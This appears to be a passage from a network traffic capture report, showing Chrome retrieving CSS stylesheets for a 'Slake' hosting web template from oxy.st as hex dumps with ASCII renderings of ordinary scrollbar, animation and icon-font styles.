2024-06-15 09:14:51 UTC	16384	IN	Data Raw: 43 53 42 5f 64 72 61 67 67 65 72 20 2e 6d 43 53 42 5f 64 72 61 67 67 65 72 5f 62 61 72 2c 2e 6d 43 53 2d 6c 69 67 68 74 2d 74 68 69 6e 2e 6d 43 53 42 5f 73 63 72 6f 6c 6c 54 6f 6f 6c 73 5f 68 6f 72 69 7a 6f 6e 74 61 6c 20 2e 6d 43 53 42 5f 64 72 61 67 67 65 72 20 2e 6d 43 53 42 5f 64 72 61 67 67 65 72 5f 62 61 72 7b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 32 70 78 3b 6d 61 72 67 69 6e 3a 37 70 78 20 61 75 74 6f 7d 2e 6d 43 53 2d 64 61 72 6b 2d 74 68 69 6e 2e 6d 43 53 42 5f 73 63 72 6f 6c 6c 54 6f 6f 6c 73 20 2e 6d 43 53 42 5f 64 72 61 67 67 65 72 52 61 69 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 31 35 29 7d 2e 6d 43 53 2d 64 Data Ascii: CSB_dragger .mCSB_dragger_bar,.mCS-light-thin.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar{width:100%;height:2px;margin:7px auto}.mCS-dark-thin.mCSB_scrollTools .mCSB_draggerRail{background-color:#000;background-color:rgba(0,0,0,.15)}.mCS-d
2024-06-15 09:14:52 UTC	10503	IN	Data Raw: 72 69 67 68 74 3a 30 3b 6d 61 72 67 69 6e 3a 31 32 70 78 20 30 7d 2e 6d 43 75 73 74 6f 6d 53 63 72 6f 6c 6c 42 6f 78 2e 6d 43 53 2d 6d 69 6e 69 6d 61 6c 2b 2e 6d 43 53 42 5f 73 63 72 6f 6c 6c 54 6f 6f 6c 73 2b 2e 6d 43 53 42 5f 73 63 72 6f 6c 6c 54 6f 6f 6c 73 2e 6d 43 53 42 5f 73 63 72 6f 6c 6c 54 6f 6f 6c 73 5f 68 6f 72 69 7a 6f 6e 74 61 6c 2c 2e 6d 43 75 73 74 6f 6d 53 63 72 6f 6c 6c 42 6f 78 2e 6d 43 53 2d 6d 69 6e 69 6d 61 6c 2b 2e 6d 43 53 42 5f 73 63 72 6f 6c 6c 54 6f 6f 6c 73 2e 6d 43 53 42 5f 73 63 72 6f 6c 6c 54 6f 6f 6c 73 5f 68 6f 72 69 7a 6f 6e 74 61 6c 2c 2e 6d 43 75 73 74 6f 6d 53 63 72 6f 6c 6c 42 6f 78 2e 6d 43 53 2d 6d 69 6e 69 6d 61 6c 2d 64 61 72 6b 2b 2e 6d 43 53 42 5f 73 63 72 6f 6c 6c 54 6f 6f 6c 73 2b 2e 6d 43 53 42 5f 73 63 72 6f Data Ascii: right:0;margin:12px 0}.mCustomScrollBox.mCS-minimal+.mCSB_scrollTools+.mCSB_scrollTools.mCSB_scrollTools_horizontal,.mCustomScrollBox.mCS-minimal+.mCSB_scrollTools.mCSB_scrollTools_horizontal,.mCustomScrollBox.mCS-minimal-dark+.mCSB_scrollTools+.mCSB_scro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.16	49700	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:51 UTC	623	OUT	GET /slake/asset/css/elements.css?1 HTTP/1.1 Host: oxy.st Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://oxy.st/d/SmUh Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7
2024-06-15 09:14:52 UTC	375	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Sat, 15 Jun 2024 09:14:51 GMT Content-Type: text/css Content-Length: 195562 Last-Modified: Sun, 21 Jun 2020 20:10:26 GMT Vary: Accept-Encoding ETag: "5eefbeb2-2fbea" Access-Control-Allow-Origin: * Accept-Ranges: bytes Age: 2 DDG-Cache-Status: MISS
2024-06-15 09:14:52 UTC	16009	IN	Data Raw: 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 2e 70 72 65 6c 6f 64 65 72 20 7b 0d 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 35 30 70 78 3b 0d 0a 20 20 20 20 68 65 69 67 68 74 3a 20 35 30 70 78 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 31 35 70 78 3b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 3a 20 72 6f 74 61 74 69 6f 6e 20 31 73 20 69 6e 66 69 6e 69 74 65 3b 0d 0a 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 72 6f 74 61 74 69 6f 6e 20 31 73 20 69 6e 66 69 6e 69 74 65 3b 0d 0a 20 20 20 20 7a 2d 69 6e 64 65 78 3a 20 39 3b 0d 0a 20 20 20 20 74 6f 70 3a 20 35 30 25 3b 0d 0a 20 20 20 20 6c 65 66 Data Ascii: @charset "UTF-8";.preloder { position: absolute; width: 50px; height: 50px; border-radius: 15px; -webkit-animation: rotation 1s infinite; animation: rotation 1s infinite; z-index: 9; top: 50%; lef
2024-06-15 09:14:52 UTC	16384	IN	Data Raw: 3b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 32 30 30 30 70 78 29 3b 0d 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 32 30 30 30 70 78 29 3b 0d 0a 20 20 7d 0d 0a 0d 0a 20 20 36 30 25 20 7b 0d 0a 20 20 20 20 6f 70 61 63 69 74 79 3a 20 31 3b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 2d 33 30 70 78 29 3b 0d 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 2d 33 30 70 78 29 3b 0d 0a 20 20 7d 0d 0a 0d 0a 20 20 38 30 25 20 7b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 31 30 70 78 29 3b 0d 0a 20 20 20 Data Ascii: ; -webkit-transform: translateX(2000px); transform: translateX(2000px); } 60% { opacity: 1; -webkit-transform: translateX(-30px); transform: translateX(-30px); } 80% { -webkit-transform: translateX(10px);
2024-06-15 09:14:52 UTC	61	IN	Data Raw: 20 7b 0d 0a 20 20 20 20 6f 70 61 63 69 74 79 3a 20 30 3b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 32 30 30 30 70 78 Data Ascii: { opacity: 0; -webkit-transform: translateX(2000px
2024-06-15 09:14:52 UTC	16384	IN	Data Raw: 29 3b 0d 0a 20 20 20 20 2d 6d 73 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 32 30 30 30 70 78 29 3b 0d 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 32 30 30 30 70 78 29 3b 0d 0a 20 20 7d 0d 0a 7d 0d 0a 0d 0a 2e 66 61 64 65 4f 75 74 52 69 67 68 74 42 69 67 20 7b 0d 0a 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 66 61 64 65 4f 75 74 52 69 67 68 74 42 69 67 3b 0d 0a 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 66 61 64 65 4f 75 74 52 69 67 68 74 42 69 67 3b 0d 0a 7d 0d 0a 0d 0a 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 4f 75 74 55 70 20 7b 0d 0a 20 20 30 25 20 7b 0d 0a 20 20 20 20 6f 70 61 63 69 74 79 3a 20 31 3b 0d 0a 20 20 20 Data Ascii: ); -ms-transform: translateX(2000px); transform: translateX(2000px); }}.fadeOutRightBig { -webkit-animation-name: fadeOutRightBig; animation-name: fadeOutRightBig;}@-webkit-keyframes fadeOutUp { 0% { opacity: 1;
2024-06-15 09:14:52 UTC	16384	IN	Data Raw: 0a 20 20 20 20 6f 70 61 63 69 74 79 3a 20 31 3b 0d 0a 20 20 7d 0d 0a 7d 0d 0a 0d 0a 2e 72 6f 74 61 74 65 49 6e 55 70 4c 65 66 74 20 7b 0d 0a 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 72 6f 74 61 74 65 49 6e 55 70 4c 65 66 74 3b 0d 0a 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 72 6f 74 61 74 65 49 6e 55 70 4c 65 66 74 3b 0d 0a 7d 0d 0a 0d 0a 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65 73 20 72 6f 74 61 74 65 49 6e 55 70 52 69 67 68 74 20 7b 0d 0a 20 20 30 25 20 7b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 20 72 69 67 68 74 20 62 6f 74 74 6f 6d 3b 0d 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 20 72 69 67 68 74 20 62 6f 74 74 6f 6d Data Ascii: opacity: 1; }}.rotateInUpLeft { -webkit-animation-name: rotateInUpLeft; animation-name: rotateInUpLeft;}@-webkit-keyframes rotateInUpRight { 0% { -webkit-transform-origin: right bottom; transform-origin: right bottom
2024-06-15 09:14:52 UTC	16384	IN	Data Raw: 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0d 0a 7d 0d 0a 2e 66 61 2d 6c 69 2e 66 61 2d 6c 67 20 7b 0d 0a 20 20 6c 65 66 74 3a 20 2d 31 2e 38 35 37 31 34 32 38 36 65 6d 3b 0d 0a 7d 0d 0a 2e 66 61 2d 62 6f 72 64 65 72 20 7b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 2e 32 65 6d 20 2e 32 35 65 6d 20 2e 31 35 65 6d 3b 0d 0a 20 20 62 6f 72 64 65 72 3a 20 73 6f 6c 69 64 20 30 2e 30 38 65 6d 20 23 65 65 65 65 65 65 3b 0d 0a 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 2e 31 65 6d 3b 0d 0a 7d 0d 0a 2e 66 61 2d 70 75 6c 6c 2d 6c 65 66 74 20 7b 0d 0a 20 20 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 0d 0a 7d 0d 0a 2e 66 61 2d 70 75 6c 6c 2d 72 69 67 68 74 20 7b 0d 0a 20 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 0d 0a 7d 0d 0a 2e 66 61 2e 66 61 2d 70 75 6c Data Ascii: text-align: center;}.fa-li.fa-lg { left: -1.85714286em;}.fa-border { padding: .2em .25em .15em; border: solid 0.08em #eeeeee; border-radius: .1em;}.fa-pull-left { float: left;}.fa-pull-right { float: right;}.fa.fa-pul
2024-06-15 09:14:52 UTC	16384	IN	Data Raw: 2d 70 69 65 63 65 3a 62 65 66 6f 72 65 20 7b 0d 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 31 32 65 22 3b 0d 0a 7d 0d 0a 2e 66 61 2d 6d 69 63 72 6f 70 68 6f 6e 65 3a 62 65 66 6f 72 65 20 7b 0d 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 31 33 30 22 3b 0d 0a 7d 0d 0a 2e 66 61 2d 6d 69 63 72 6f 70 68 6f 6e 65 2d 73 6c 61 73 68 3a 62 65 66 6f 72 65 20 7b 0d 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 31 33 31 22 3b 0d 0a 7d 0d 0a 2e 66 61 2d 73 68 69 65 6c 64 3a 62 65 66 6f 72 65 20 7b 0d 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 31 33 32 22 3b 0d 0a 7d 0d 0a 2e 66 61 2d 63 61 6c 65 6e 64 61 72 2d 6f 3a 62 65 66 6f 72 65 20 7b 0d 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 31 33 33 22 3b 0d 0a 7d 0d 0a 2e 66 61 2d 66 69 72 65 2d 65 78 74 69 6e 67 75 Data Ascii: -piece:before { content: "\f12e";}.fa-microphone:before { content: "\f130";}.fa-microphone-slash:before { content: "\f131";}.fa-shield:before { content: "\f132";}.fa-calendar-o:before { content: "\f133";}.fa-fire-extingu
2024-06-15 09:14:52 UTC	16384	IN	Data Raw: 7d 0d 0a 2e 66 61 2d 62 6c 61 63 6b 2d 74 69 65 3a 62 65 66 6f 72 65 20 7b 0d 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 32 37 65 22 3b 0d 0a 7d 0d 0a 2e 66 61 2d 66 6f 6e 74 69 63 6f 6e 73 3a 62 65 66 6f 72 65 20 7b 0d 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 32 38 30 22 3b 0d 0a 7d 0d 0a 2e 66 61 2d 72 65 64 64 69 74 2d 61 6c 69 65 6e 3a 62 65 66 6f 72 65 20 7b 0d 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 32 38 31 22 3b 0d 0a 7d 0d 0a 2e 66 61 2d 65 64 67 65 3a 62 65 66 6f 72 65 20 7b 0d 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 32 38 32 22 3b 0d 0a 7d 0d 0a 2e 66 61 2d 63 72 65 64 69 74 2d 63 61 72 64 2d 61 6c 74 3a 62 65 66 6f 72 65 20 7b 0d 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 32 38 33 22 3b 0d 0a 7d 0d 0a 2e 66 61 2d 63 6f 64 69 Data Ascii: }.fa-black-tie:before { content: "\f27e";}.fa-fonticons:before { content: "\f280";}.fa-reddit-alien:before { content: "\f281";}.fa-edge:before { content: "\f282";}.fa-credit-card-alt:before { content: "\f283";}.fa-codi
2024-06-15 09:14:52 UTC	16384	IN	Data Raw: 6f 6e 28 74 68 69 73 2e 72 75 6e 74 69 6d 65 53 74 79 6c 65 5b 27 7a 6f 6f 6d 27 5d 20 3d 20 27 31 27 2c 20 74 68 69 73 2e 69 6e 6e 65 72 48 54 4d 4c 20 3d 20 27 26 23 78 65 36 38 31 3b 27 29 3b 0d 0a 7d 0d 0a 2e 74 69 2d 70 6f 77 65 72 2d 6f 66 66 20 7b 0d 0a 20 20 2a 7a 6f 6f 6d 3a 20 65 78 70 72 65 73 73 69 6f 6e 28 74 68 69 73 2e 72 75 6e 74 69 6d 65 53 74 79 6c 65 5b 27 7a 6f 6f 6d 27 5d 20 3d 20 27 31 27 2c 20 74 68 69 73 2e 69 6e 6e 65 72 48 54 4d 4c 20 3d 20 27 26 23 78 65 36 38 32 3b 27 29 3b 0d 0a 7d 0d 0a 2e 74 69 2d 70 6c 75 67 20 7b 0d 0a 20 20 2a 7a 6f 6f 6d 3a 20 65 78 70 72 65 73 73 69 6f 6e 28 74 68 69 73 2e 72 75 6e 74 69 6d 65 53 74 79 6c 65 5b 27 7a 6f 6f 6d 27 5d 20 3d 20 27 31 27 2c 20 74 68 69 73 2e 69 6e 6e 65 72 48 54 4d 4c 20 3d Data Ascii: on(this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}.ti-power-off { zoom: expression(this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}.ti-plug { zoom: expression(this.runtimeStyle['zoom'] = '1', this.innerHTML =
2024-06-15 09:14:52 UTC	16384	IN	Data Raw: 69 6d 65 53 74 79 6c 65 5b 27 7a 6f 6f 6d 27 5d 20 3d 20 27 31 27 2c 20 74 68 69 73 2e 69 6e 6e 65 72 48 54 4d 4c 20 3d 20 27 26 23 78 65 37 31 62 3b 27 29 3b 0d 0a 7d 0d 0a 2e 74 69 2d 68 61 6e 64 2d 70 6f 69 6e 74 2d 6c 65 66 74 20 7b 0d 0a 20 20 2a 7a 6f 6f 6d 3a 20 65 78 70 72 65 73 73 69 6f 6e 28 74 68 69 73 2e 72 75 6e 74 69 6d 65 53 74 79 6c 65 5b 27 7a 6f 6f 6d 27 5d 20 3d 20 27 31 27 2c 20 74 68 69 73 2e 69 6e 6e 65 72 48 54 4d 4c 20 3d 20 27 26 23 78 65 37 31 63 3b 27 29 3b 0d 0a 7d 0d 0a 2e 74 69 2d 68 61 6e 64 2d 70 6f 69 6e 74 2d 64 6f 77 6e 20 7b 0d 0a 20 20 2a 7a 6f 6f 6d 3a 20 65 78 70 72 65 73 73 69 6f 6e 28 74 68 69 73 2e 72 75 6e 74 69 6d 65 53 74 79 6c 65 5b 27 7a 6f 6f 6d 27 5d 20 3d 20 27 31 27 2c 20 74 68 69 73 2e 69 6e 6e 65 72 48 Data Ascii: imeStyle['zoom'] = '1', this.innerHTML = '');}.ti-hand-point-left { zoom: expression(this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}.ti-hand-point-down { zoom: expression(this.runtimeStyle['zoom'] = '1', this.innerH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.16	49704	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:51 UTC	614	OUT	GET /slake/style.css?ver=6 HTTP/1.1 Host: oxy.st Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://oxy.st/d/SmUh Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7
2024-06-15 09:14:51 UTC	379	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Fri, 14 Jun 2024 04:21:58 GMT Content-Type: text/css Content-Length: 173385 Last-Modified: Fri, 18 Dec 2020 20:37:06 GMT Vary: Accept-Encoding ETag: "5fdd12f2-2a549" Access-Control-Allow-Origin: * Accept-Ranges: bytes Age: 103973 DDG-Cache-Status: HIT
2024-06-15 09:14:51 UTC	16005	IN	Data Raw: 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 54 65 6d 70 6c 61 74 65 20 4e 61 6d 65 3a 20 53 6c 61 6b 65 0a 54 65 6d 70 6c 61 74 65 20 55 52 49 3a 0a 44 65 73 63 72 69 70 74 69 6f 6e 3a 20 48 6f 73 74 69 6e 67 20 48 54 4d 4c 35 20 54 65 6d 70 6c 61 74 65 0a 41 75 74 68 6f 72 3a 0a 41 75 74 68 6f 72 20 55 52 49 3a 0a 56 65 72 73 69 6f 6e 3a 20 31 2e 30 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 0a 23 23 43 53 53 20 54 41 42 4c 45 20 4f 46 20 43 4f 4e 54 45 4e 54 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d Data Ascii: /* ============================================Template Name: SlakeTemplate URI:Description: Hosting HTML5 TemplateAuthor:Author URI:Version: 1.0===================================================##CSS TABLE OF CONTENT---------------------------
2024-06-15 09:14:51 UTC	16384	IN	Data Raw: 74 69 6f 6e 2d 64 69 72 65 63 74 69 6f 6e 3a 20 61 6c 74 65 72 6e 61 74 65 3b 0a 7d 0a 0a 0a 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65 73 20 75 70 64 20 7b 0a 0a 20 20 20 20 30 25 20 7b 0a 20 20 20 20 20 20 20 20 74 6f 70 3a 20 33 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 0a 20 20 20 20 31 30 30 25 20 7b 0a 20 20 20 20 20 20 20 20 74 6f 70 3a 20 35 25 0a 20 20 20 20 20 20 20 20 7d 0a 7d 0a 0a 40 6b 65 79 66 72 61 6d 65 73 20 75 70 64 20 7b 0a 0a 20 20 20 20 30 25 20 7b 0a 20 20 20 20 20 20 20 20 74 6f 70 3a 20 33 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 0a 20 20 20 20 31 30 30 25 20 7b 0a 20 20 20 20 20 20 20 20 74 6f 70 3a 20 35 25 0a 20 20 20 20 20 20 20 20 7d 0a 7d 0a 0a 0a 0a 0a 2e 73 69 6e 67 6c 65 2d 73 6c 69 64 65 72 2d 69 74 65 6d 20 2e Data Ascii: tion-direction: alternate;}@-webkit-keyframes upd { 0% { top: 3%; } 100% { top: 5% }}@keyframes upd { 0% { top: 3%; } 100% { top: 5% }}.single-slider-item .
2024-06-15 09:14:52 UTC	16384	IN	Data Raw: 33 20 2e 68 6f 6d 65 70 61 67 65 2d 34 20 2e 68 65 61 64 65 72 2d 74 6f 70 2d 61 72 65 61 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 33 61 34 33 36 38 3b 0a 7d 0a 0a 23 68 6f 6d 65 70 61 67 65 2d 33 20 2e 66 75 6c 6c 2d 73 6c 69 64 65 72 2e 68 6f 6d 65 70 61 67 65 2d 34 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 75 72 6c 28 22 2f 73 6c 61 6b 65 2f 61 73 73 65 74 2f 69 6d 67 2f 62 67 2f 68 6f 6d 65 70 61 67 65 2d 34 2d 62 67 2e 70 6e 67 22 29 3b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 74 6f 70 20 72 69 67 68 74 3b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 20 61 75 74 6f 3b 0a 7d 0a 23 68 6f 6d 65 70 61 67 65 2d 33 20 2e 66 75 6c 6c 2d 73 6c 69 64 65 Data Ascii: 3 .homepage-4 .header-top-area { background: #3a4368;}#homepage-3 .full-slider.homepage-4 { background-image: url("/slake/asset/img/bg/homepage-4-bg.png"); background-position: top right; background-size: auto;}#homepage-3 .full-slide
2024-06-15 09:14:52 UTC	16384	IN	Data Raw: 70 61 63 69 74 79 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 2d 6d 73 2d 66 69 6c 74 65 72 3a 20 22 70 72 6f 67 69 64 3a 44 58 49 6d 61 67 65 54 72 61 6e 73 66 6f 72 6d 2e 4d 69 63 72 6f 73 6f 66 74 2e 41 6c 70 68 61 28 4f 70 61 63 69 74 79 3d 30 29 22 3b 0a 20 20 20 20 20 20 20 20 72 69 67 68 74 3a 20 31 30 30 25 0a 20 20 20 20 7d 0a 7d 0a 0a 2e 63 6c 6f 75 64 73 20 69 6d 67 2e 63 6c 6f 75 64 33 20 7b 0a 20 20 20 20 74 6f 70 3a 20 32 31 35 70 78 3b 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 3a 20 63 6c 6f 75 64 33 20 34 35 73 20 6c 69 6e 65 61 72 20 31 31 73 20 69 6e 66 69 6e 69 74 65 3b 0a 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 63 6c 6f 75 64 33 20 34 35 73 20 6c 69 6e 65 61 72 20 31 31 73 20 69 6e 66 69 6e 69 74 65 3b 0a 20 20 Data Ascii: pacity: 0; -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; right: 100% }}.clouds img.cloud3 { top: 215px; -webkit-animation: cloud3 45s linear 11s infinite; animation: cloud3 45s linear 11s infinite;
2024-06-15 09:14:52 UTC	16384	IN	Data Raw: 2d 73 65 6c 65 63 74 20 2e 63 75 72 72 65 6e 74 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 7d 0a 2e 68 6f 6d 65 70 61 67 65 2d 32 2e 64 65 64 69 63 61 74 65 64 20 2e 73 69 6e 67 6c 65 2d 62 6c 6f 67 2d 31 20 7b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 70 78 20 30 70 78 20 30 70 78 20 30 70 78 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 35 35 70 78 20 34 30 70 78 20 34 30 70 78 20 34 30 70 78 3b 0a 20 20 20 20 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 70 78 20 35 70 78 20 32 35 70 78 20 30 70 78 20 72 67 62 61 28 30 2c 20 35 36 2c 20 31 36 30 2c 20 30 2e 31 35 29 3b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 Data Ascii: -select .current { position: relative;}.homepage-2.dedicated .single-blog-1 { text-align: center; margin: 0px 0px 0px 0px; padding: 55px 40px 40px 40px; box-shadow: 0px 5px 25px 0px rgba(0, 56, 160, 0.15); background-color: #ffff
2024-06-15 09:14:52 UTC	16384	IN	Data Raw: 62 6f 74 74 6f 6d 3a 20 33 33 70 78 3b 0a 7d 0a 2e 73 69 6e 67 6c 65 2d 69 74 65 6d 73 20 2e 73 69 6e 67 6c 65 2d 69 74 65 6d 73 2d 77 72 61 70 70 65 72 20 69 6d 67 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 31 30 70 78 20 30 70 78 20 30 70 78 20 30 70 78 3b 0a 7d 0a 2e 66 65 61 74 75 72 65 2d 74 77 6f 2d 72 69 67 68 74 20 70 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 36 70 78 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 35 33 36 64 38 37 3b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 31 36 70 78 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 36 70 78 3b 0a 7d 0a 0a 0a 61 2e 70 72 69 63 69 6e 67 2d 62 74 6e 2e 62 6c 75 65 2d 62 74 6e 2e 68 6f 6d 65 70 61 67 65 2d 6f 6e 65 2d 61 6c 6c 2d 66 65 61 74 75 72 65 73 2d Data Ascii: bottom: 33px;}.single-items .single-items-wrapper img { margin: 10px 0px 0px 0px;}.feature-two-right p { font-size: 16px; color: #536d87; margin-bottom: 16px; line-height: 26px;}a.pricing-btn.blue-btn.homepage-one-all-features-
2024-06-15 09:14:52 UTC	16384	IN	Data Raw: 3b 0a 20 20 20 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 23 33 34 36 34 65 30 3b 0a 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 20 2e 33 73 3b 0a 20 20 20 20 74 72 61 6e 73 69 74 69 6f 6e 3a 20 2e 33 73 3b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 30 70 78 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 32 70 78 3b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 38 70 78 3b 0a 7d 0a 2e 63 6f 6d 69 6e 67 2d 73 6f 6f 6e 20 2e 73 6f 63 69 61 6c 2d 6c 69 